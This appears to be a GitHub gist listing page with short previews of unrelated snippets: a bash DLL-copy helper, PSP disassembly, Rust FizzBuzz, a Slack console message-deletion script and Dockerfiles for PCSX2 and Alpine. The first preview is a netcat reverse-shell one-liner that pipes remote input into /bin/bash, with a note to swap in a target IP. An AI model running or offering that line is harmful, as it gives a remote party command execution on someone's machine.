This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
cat /tmp/blarg | nc localhost 6667 | /bin/bash &> /tmp/blarg #replace localhost with IP |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
DLLBINDIR='/usr/i686-pc-mingw32/sys-root/mingw/bin/' | |
function usage | |
{ | |
echo "Usage: `basename $0` file.exe" | |
echo \ | |
"copies required dynamically linked libraries to \ | |
the current directory" |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
; ====================================================== | |
; Subroutine sceUsbAcc_internal_79A1C743 - Address 0x00000000 - Aliases: sceUsbAcc_79A1C743, sceUsbAcc_driver_79A1C743 | |
; Exported in sceUsbAcc_internal | |
; Exported in sceUsbAcc | |
; Exported in sceUsbAcc_driver | |
sceUsbAcc_internal_79A1C743: | |
0x00000000: 0x27BDFFF0 '...'' - addiu $sp, $sp, -16 | |
0x00000004: 0xAFB10004 '....' - sw $s1, 4($sp) | |
0x00000008: 0xAFB00000 '....' - sw $s0, 0($sp) | |
0x0000000C: 0xAFBF0008 '....' - sw $ra, 8($sp) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// the various moudules im going to use | |
use std::int; | |
use std::io; | |
// see comment for bang but 3 | |
fn fizz(i: int) -> bool { | |
i % 3 == 0 | |
} | |
// function using an implicit return to evaluate divisibility by 5 |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/* Execute this in the slack developer console - can access it by spam clicking team icons | |
* - make sure to replace TEAM_ID, USER_ID, and CHANNEL_ID first | |
* - requires you have permissions to delete ofc | |
*/ | |
TS.channels.addMsg = function e(t, n) { | |
/* begin message check and delete */ | |
if (n.type == "message" && n.source_team_id == "TEAM_ID" && n.user == "USER_ID") { | |
TS.api.call("chat.delete", {_attempts: 0, _delay_ms: 100, channel: "CHANNEL_ID", ts: n.ts}) | |
} | |
/* end message check and delete */ |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# Containerfile (aka Dockerfile) with all deps for building PCSX2 | |
# | |
# `docker build -f Containerfile -t pcsx2-builder` | |
# `docker run -v .:/build:Z pcsx2-builder bash -c './build.sh --clean --release --lto -DQT_BUILD=TRUE'` | |
# | |
# Using podman instead of docker is fine too just make sure to `podman unshare chown 1001:1001 /path/to/pcsx2src` before running | |
# and `podman unshare chown -R 0:0 /path/to/pcsx2src` after. | |
FROM docker.io/ubuntu:20.04 | |
# deps for building PCSX2 |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
FROM alpine:latest | |
ARG ARCH=arm64 | |
# install required packages and enable ssh | |
RUN apk update | |
RUN apk add linux-virt linux-virt-dev gcc make openrc linux-virt u-boot-tools dropbear openssh-client | |
RUN echo 'rc_need="root net"' >> /etc/conf.d/dropbear | |
RUN rc-update add dropbear |